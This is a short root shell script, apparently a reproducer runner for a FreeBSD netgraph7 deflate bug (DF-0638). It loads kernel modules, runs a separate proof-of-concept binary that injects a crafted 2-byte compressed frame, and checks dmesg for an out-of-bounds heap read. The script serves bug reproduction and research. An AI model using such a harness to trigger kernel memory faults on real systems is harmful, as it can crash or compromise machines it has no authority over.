DF-0638 / run.sh
#!/bin/sh # DF-0638 reproducer runner (root). Requires the netgraph7 stack built & loaded. # Build the stack first (one-time, from /usr/src): # for d in netgraph socket deflate; do (cd /usr/src/sys/netgraph7/$d && make obj && make); done set +e echo "loading netgraph7 stack (abi 12)..." kldload /usr/obj/usr/src/sys/netgraph7/netgraph/netgraph.ko 2>/dev/null kldload /usr/obj/usr/src/sys/netgraph7/socket/ng_socket.ko 2>/dev/null kldload /usr/obj/usr/src/sys/netgraph7/deflate/ng_deflate.ko 2>/dev/null echo "abi_version: $(sysctl -n net.graph.abi_version)" echo "=== inject crafted 2-byte PROT_COMPD frame ===" /home/maxx/poc/DF-0638/df0638 sleep 1 echo "=== dmesg (bug present: 'decompression error: -3' = inflate read OOB heap) ===" dmesg | grep -iE "deflate|decomp" | tail -4 |